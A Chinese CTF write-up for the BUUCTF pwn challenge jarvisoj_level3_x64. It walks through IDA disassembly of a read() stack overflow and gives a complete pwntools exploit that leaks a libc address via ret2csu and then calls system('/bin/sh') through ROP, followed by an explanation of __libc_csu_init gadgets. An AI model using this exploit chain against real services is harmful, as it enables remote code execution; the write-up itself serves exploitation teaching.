当前位置: 首页 > news >正文

[BUUCTF]jarvisoj_level3_x64详解(含思考过程、含知识点讲解)

一、题目来源

BUUCTF-Pwn-jarvisoj_level3_x64

二、信息搜集

将题目给的可执行文件丢入Linux虚拟机中

为了处理方便,我已经将文件重命名为pwn

通过file命令查看文件类型

在这里插入图片描述
通过checksec命令查看文件保护机制

# 三、反汇编文件开始分析

1、分析程序逻辑,找到突破口

将二进制文件丢入IDA Pro当中开始反汇编操作

首先看到main函数:

.text:000000000040061A ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:000000000040061A                 public main
.text:000000000040061A main            proc near               ; DATA XREF: _start+1D↑o
.text:000000000040061A
.text:000000000040061A var_10          = qword ptr -10h
.text:000000000040061A var_4           = dword ptr -4
.text:000000000040061A
.text:000000000040061A ; __unwind {
.text:000000000040061A                 push    rbp
.text:000000000040061B                 mov     rbp, rsp
.text:000000000040061E                 sub     rsp, 10h
.text:0000000000400622                 mov     [rbp+var_4], edi
.text:0000000000400625                 mov     [rbp+var_10], rsi
.text:0000000000400629                 mov     eax, 0
.text:000000000040062E                 call    vulnerable_function
.text:0000000000400633                 mov     edx, 0Eh        ; n
.text:0000000000400638                 mov     esi, offset aHelloWorld ; "Hello, World!\n"
.text:000000000040063D                 mov     edi, 1          ; fd
.text:0000000000400642                 call    _write
.text:0000000000400647                 leave
.text:0000000000400648                 retn
.text:0000000000400648 ; } // starts at 40061A
.text:0000000000400648 main            endp

可以看到main函数调用了函数vulnerable_function,点进去查看:

.text:00000000004005E6                 public vulnerable_function
.text:00000000004005E6 vulnerable_function proc near           ; CODE XREF: main+14↓p
.text:00000000004005E6
.text:00000000004005E6 buf             = byte ptr -80h
.text:00000000004005E6
.text:00000000004005E6 ; __unwind {
.text:00000000004005E6                 push    rbp
.text:00000000004005E7                 mov     rbp, rsp
.text:00000000004005EA                 add     rsp, 0FFFFFFFFFFFFFF80h
.text:00000000004005EE                 mov     edx, 7          ; n
.text:00000000004005F3                 mov     esi, offset aInput ; "Input:\n"
.text:00000000004005F8                 mov     edi, 1          ; fd
.text:00000000004005FD                 call    _write
.text:0000000000400602                 lea     rax, [rbp+buf]
.text:0000000000400606                 mov     edx, 200h       ; nbytes
.text:000000000040060B                 mov     rsi, rax        ; buf
.text:000000000040060E                 mov     edi, 0          ; fd
.text:0000000000400613                 call    _read
.text:0000000000400618                 leave
.text:0000000000400619                 retn
.text:0000000000400619 ; } // starts at 4005E6
.text:0000000000400619 vulnerable_function endp

该函数调用的read函数很明显存在栈溢出的现象,那么结合条件:

  • 未开启Canary保护
  • .text段没找到后门函数
  • 程序采用动态链接,但是程序中未使用过system函数

可以分析出,现在很有可能的思路就是ret2libc

那么,开始可行性分析

2、ret2libc?

为了泄露libc库文件的内存地址,我们就需要通过程序中的write函数实现库函数(比如我们选择read)的真实地址的泄露

那么就需要给write函数指定三个参数,来构造出:

write(1,read_got,8);

在x86_64的CPU架构中,函数是通过寄存器传参的,因此我们需要找到能给rdi、rsi、rdx这三个寄存器赋值的gadget

在这里插入图片描述
可以发现,前两个gadget非常顺利地找到了,但是唯独没有找到第三个gadget

这也就意味着我们无法实现write函数第三个参数的传递,那么思路断了吗?

没有,再次查看.text段后,我们发现了一个重要的函数----__libc_csu_init()

.text:0000000000400650                 public __libc_csu_init
.text:0000000000400650 __libc_csu_init proc near               ; DATA XREF: _start+16↑o
.text:0000000000400650 ; __unwind {
.text:0000000000400650                 push    r15
.text:0000000000400652                 mov     r15d, edi
.text:0000000000400655                 push    r14
.text:0000000000400657                 mov     r14, rsi
.text:000000000040065A                 push    r13
.text:000000000040065C                 mov     r13, rdx
.text:000000000040065F                 push    r12
.text:0000000000400661                 lea     r12, __frame_dummy_init_array_entry
.text:0000000000400668                 push    rbp
.text:0000000000400669                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:0000000000400670                 push    rbx
.text:0000000000400671                 sub     rbp, r12
.text:0000000000400674                 xor     ebx, ebx
.text:0000000000400676                 sar     rbp, 3
.text:000000000040067A                 sub     rsp, 8
.text:000000000040067E                 call    _init_proc
.text:0000000000400683                 test    rbp, rbp
.text:0000000000400686                 jz      short loc_4006A6
.text:0000000000400688                 nop     dword ptr [rax+rax+00000000h]
.text:0000000000400690
.text:0000000000400690 loc_400690:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400690                 mov     rdx, r13
.text:0000000000400693                 mov     rsi, r14
.text:0000000000400696                 mov     edi, r15d
.text:0000000000400699                 call    qword ptr [r12+rbx*8]
.text:000000000040069D                 add     rbx, 1
.text:00000000004006A1                 cmp     rbx, rbp
.text:00000000004006A4                 jnz     short loc_400690
.text:00000000004006A6
.text:00000000004006A6 loc_4006A6:                             ; CODE XREF: __libc_csu_init+36↑j
.text:00000000004006A6                 add     rsp, 8
.text:00000000004006AA                 pop     rbx
.text:00000000004006AB                 pop     rbp
.text:00000000004006AC                 pop     r12
.text:00000000004006AE                 pop     r13
.text:00000000004006B0                 pop     r14
.text:00000000004006B2                 pop     r15
.text:00000000004006B4                 retn
.text:00000000004006B4 ; } // starts at 400650
.text:00000000004006B4 __libc_csu_init endp

没错,可以利用ret2csu实现库函数真实地址的泄露,然后再实现ret2libc

关于ret2csu的详细介绍,可以看到第五部分

四、Poc构造

直接给出最终Poc:

from pwn import *
from LibcSearcher import LibcSearcherp = process("./pwn")
elf = ELF("./pwn")write_got = elf.got["write"]
read_got = elf.got["read"]padding = 0x80+8
csu1 = 0x4006A6
csu2 = 0x400690
ret = 0x400648
main_addr = 0x40061Adef csu_args(extra,rbx,rbp,r12,r13,r14,r15):payload = p64(extra) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)return payloadpayload = b'A'*padding + p64(csu1) + csu_args(0,0,1,write_got,8,read_got,1) + p64(csu2) + csu_args(0,0,0,0,0,0,0) + p64(main_addr)p.sendafter(b'Input:\n',payload)leak = u64(p.recv(8))
print(hex(leak))libc = LibcSearcher('read', leak) libc_base = leak - libc.dump('read')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')pop_rdi = 0x4006b3payload = b'A'*padding + p64(pop_rdi) + p64(binsh) + p64(system)p.sendline(payload)p.interactive()

我相信大家了解了第五部分的ret2csu的介绍,对该poc的理解不会有难度

唯一需要注意的点就是write_got = elf.got["write"]

没错,我们平时通常使用的是write_plt = elf.plt["write"]

他们本质上是同一个东西,他们最终都会跳转到write函数的真实内存地址处,但是为什么这里不能使用plt呢?

其实我也不太清楚,但是唯一明确的是,使用write_plt的话会泄露不出来地址,因此我们选择write_got

五、本题涉及到的关键知识点:

1、ret2csu

csu一般指的就是 __libc_csu_init__libc_csu_fini 这两个函数

(1)这两个函数的常规用途

在大多数情况下,我们编写的C/C++代码的执行入口是main函数

但实际上,程序的真正入口点通常是__start函数,而该函数他又会调用一个__libc_start_main函数,该函数的参数大致是这样的(伪代码):

__libc_start_main(main, argc, argv, __libc_csu_init, __libc_csu_fini, edx, top of stack);

很明显,真正的main函数的调用是发生在该函数当中的

当然,也能知道__libc_csu_init__libc_csu_fini 这两个函数也会被该函数调用

他们三者的调用顺序就是:

__libc_csu_init -> main -> __libc_csu_fini

(2)__libc_csu_init

可以把__libc_csu_init想象成main函数的“暖场嘉宾”,它的主要职责是在main函数被调用之前,完成必要的初始化工作

它的核心任务是遍历并调用一个特殊的函数指针数组,这个数组被称为 .init_array

开发者可以通过特定的编译器属性(如 __attribute__((constructor)))将自定义的函数放入这个数组中,从而实现代码在main函数之前执行,这对于一些库的初始化、全局对象的构造等场景至关重要

(3)__libc_csu_fini

__libc_csu_fini负责程序的善后清理工作(即在main函数通过exit退出之后开始进行的操作),包括

它的工作与__libc_csu_init类似,但方向相反

它负责调用.fini_array段中的函数指针,用于执行析构、资源释放等清理操作,这些函数通常以与构造函数相反的顺序执行

(4)ret2csu

在网络安全领域,__libc_csu_init的价值远不止于程序初始化

在二进制漏洞利用,特别是[[ROP]]攻击中,它提供了一套极其强大的gadget

我们来简单看一下__libc_csu_init的汇编代码(IDA Pro反汇编出来的代码):

.text:0000000000400650                 public __libc_csu_init
.text:0000000000400650 __libc_csu_init proc near               ; DATA XREF: _start+16↑o
.text:0000000000400650 ; __unwind {
.text:0000000000400650                 push    r15
.text:0000000000400652                 mov     r15d, edi
.text:0000000000400655                 push    r14
.text:0000000000400657                 mov     r14, rsi
.text:000000000040065A                 push    r13
.text:000000000040065C                 mov     r13, rdx
.text:000000000040065F                 push    r12
.text:0000000000400661                 lea     r12, __frame_dummy_init_array_entry
.text:0000000000400668                 push    rbp
.text:0000000000400669                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:0000000000400670                 push    rbx
.text:0000000000400671                 sub     rbp, r12
.text:0000000000400674                 xor     ebx, ebx
.text:0000000000400676                 sar     rbp, 3
.text:000000000040067A                 sub     rsp, 8
.text:000000000040067E                 call    _init_proc
.text:0000000000400683                 test    rbp, rbp
.text:0000000000400686                 jz      short loc_4006A6
.text:0000000000400688                 nop     dword ptr [rax+rax+00000000h]
.text:0000000000400690
.text:0000000000400690 loc_400690:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400690                 mov     rdx, r13
.text:0000000000400693                 mov     rsi, r14
.text:0000000000400696                 mov     edi, r15d
.text:0000000000400699                 call    qword ptr [r12+rbx*8]
.text:000000000040069D                 add     rbx, 1
.text:00000000004006A1                 cmp     rbx, rbp
.text:00000000004006A4                 jnz     short loc_400690
.text:00000000004006A6
.text:00000000004006A6 loc_4006A6:                             ; CODE XREF: __libc_csu_init+36↑j
.text:00000000004006A6                 add     rsp, 8
.text:00000000004006AA                 pop     rbx
.text:00000000004006AB                 pop     rbp
.text:00000000004006AC                 pop     r12
.text:00000000004006AE                 pop     r13
.text:00000000004006B0                 pop     r14
.text:00000000004006B2                 pop     r15
.text:00000000004006B4                 retn

从上面代码中,我们可以得到两个非常关键的gadget(按顺序命名为gadget1与gadget2):

.text:00000000004006A6                 add     rsp, 8
.text:00000000004006AA                 pop     rbx
.text:00000000004006AB                 pop     rbp
.text:00000000004006AC                 pop     r12
.text:00000000004006AE                 pop     r13
.text:00000000004006B0                 pop     r14
.text:00000000004006B2                 pop     r15
.text:00000000004006B4                 retn

.text:0000000000400690                 mov     rdx, r13
.text:0000000000400693                 mov     rsi, r14
.text:0000000000400696                 mov     edi, r15d
.text:0000000000400699                 call    qword ptr [r12+rbx*8]
.text:000000000040069D                 add     rbx, 1
.text:00000000004006A1                 cmp     rbx, rbp
.text:00000000004006A4                 jnz     short loc_400690
.text:00000000004006A6
.text:00000000004006A6 loc_4006A6:                             ; CODE XREF: __libc_csu_init+36↑j
.text:00000000004006A6                 add     rsp, 8
.text:00000000004006AA                 pop     rbx
.text:00000000004006AB                 pop     rbp
.text:00000000004006AC                 pop     r12
.text:00000000004006AE                 pop     r13
.text:00000000004006B0                 pop     r14
.text:00000000004006B2                 pop     r15
.text:00000000004006B4                 retn

在gadget2中,我们能看到一个函数调用,即

.text:0000000000400690                 mov     rdx, r13
.text:0000000000400693                 mov     rsi, r14
.text:0000000000400696                 mov     edi, r15d
.text:0000000000400699                 call    qword ptr [r12+rbx*8]

该gadget中不仅有函数调用,还有该函数参数的传递,非常的有用

但是该参数的传递离不开gadget1的帮忙

因为,我们先要通过gadget1实现关键寄存器的传参,才能与gadget2配合完成函数调用

gadget1我们需要做的操作是:

  • 给r12传输要被调用的函数的地址:后续通过call qword ptr [r12+rbx*8]调用

  • 给rbx传输值:因为该值涉及到函数调用(call qword ptr [r12+rbx*8]),我们通常将其置为0,让他不妨碍我们精确定位函数地址

  • 给r15,r14,r13传值:这三个寄存器在后续会分别传输到rdi、rsi、rdx当中,也就是作为被调用函数的三个参数存在

  • 给rbp传值:千万别乱指定这个寄存器的值,我们需要结合rbx的值来确定rbp的值,因为如果乱指定该值,会导致指令cmp rbx, rbp的结果一直不能使ZF标志位为1,就会导致条件跳转指令jnz short loc_400690成立,又回到上面的调用逻辑再次执行,这可能导致死循环

  • 额外注意指令add rsp, 8:该指令会使得栈顶指针往高地址移动,即往栈底移动,这就相当于进行了一步伪出栈操作,因此我们需要指定一个冗余数据去抵消这部操作,否则可能会使得我们构造的gadget有缺失或者对不上的地方

综上,我们先gadget1再gadget2就可以完成一次函数调用,这就是ret2csu

当然,通过上述讲述我们应该能发现,ret2csu对输入长度的要求很高(因为有很多的值需要构造),而且也是涉及到地址的指定,还会受到[[ASLR]]、[[PIE]]的影响

而且,正是因为__libc_csu_init带来的巨大安全风险,glibc的开发者们已经采取了行动,从glibc 2.34 版本开始,__libc_csu_init__libc_csu_fini 这两个函数被彻底移除了,它们的初始化和清理功能被整合到了运行时的其他部分

由此可见,ret2csu也受到了很多的限制,因此我们需要灵活使用这些技巧,不要被局限住

2、其他

本题涉及到的知识还有:ret2libc、栈溢出、ROP

我相信大家如果按照顺序刷题的话,这三个知识点都应该非常熟练了,这里就不再赘述

http://www.dtcms.com/a/358165.html

相关文章:

  • 批量采集培训机构数据进行查询
  • Axios 实例配置指南
  • 基于物联网设计的园林灌溉系统(华为云IOT)_274
  • k8s--efk日志收集
  • PostgreSQL令牌机制解析
  • C++多态介绍
  • sunset: sunrise
  • 安全多方计算(MPC):技术原理、典型应用与 Python 工程实现详解
  • POLAR 社区交流平台 PRD v1.0
  • DDR5 介绍
  • 关于PXIe工控机的网速问题XH-PXIe7313万兆网卡
  • 【LeetCode每日一题】21. 合并两个有序链表 2. 两数相加
  • Linux三剑客grep-sed-awk
  • # `std::basic_istream`总结
  • 从零到一:使用Flask构建“我的笔记”网站
  • Elasticsearch面试精讲 Day 2:索引、文档与映射机制
  • 如何在 Jenkins Docker 容器中切换到 root 用户并解决权限问题
  • WPF和WinFrom区别
  • WPF中的ref和out
  • 基于Ubuntu本地GitLab 搭建 Git 服务器
  • 小迪安全v2023学习笔记(七十四讲)—— 验证机制篇验证码绕过思路SRC挖掘演示
  • web渗透ASP.NET(Webform)反序列化漏洞
  • SpringBoot整合Actuator实现健康检查
  • windows系统中安装zip版本mysql,配置环境
  • Spring Cloud Gateway 网关(五)
  • 电子战:Maritime SIGINT Architecture Technical Standards Handbook
  • 系统分析师考试大纲新旧版本深度分析与备考策略
  • 拼团小程序源码分享拼团余额提现小程序定制教程开发源码二开
  • 深入理解 RabbitMQ:从底层原理到实战落地的全维度指南
  • (纯新手教学)计算机视觉(opencv)实战十——轮廓特征(轮廓面积、 轮廓周长、外接圆与外接矩形)